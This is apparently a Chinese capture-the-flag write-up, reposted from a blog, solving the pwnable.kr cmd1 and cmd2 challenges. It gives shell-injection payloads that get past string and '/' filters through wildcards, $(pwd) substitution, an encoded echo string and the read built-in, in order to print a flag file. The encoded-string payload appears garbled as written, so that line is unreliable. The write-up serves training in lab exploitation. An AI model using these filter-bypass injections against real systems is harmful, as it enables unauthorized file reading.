day6

pwnable

cmd1

查看源代码发现程序过滤了flag字符串和环境变量,所以cat命令必须要指定路径,flag用通配符*来定位,命令如下

cmd1 "/bin/cat fla*"

cmd2

本题在上一题的基础上过滤了'/',并清除环境变量,主要有以下几种思路:

1.在过滤函数中隐藏匹配字符串,在系统调用时这些字符串被重现

要使用'/',可以在根目录使用pwd命令即可

cd /; ~/cmd2 "$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*"

将打印的命令字符转换为16进制并对其执行echo命令,再用$对打印出的命令执行,这样在过滤时检测不到任何匹配字符串

./cmd2 '$(echo "571421511565714314116440146154141147")'

2.使用shell内部命令

使用read命令将文件内容读入标准输入流,再通过echo命令打印

./cmd2 "read b < flag; echo $b"

原文地址:https://www.cnblogs.com/amlkhlwd33/p/9418688.html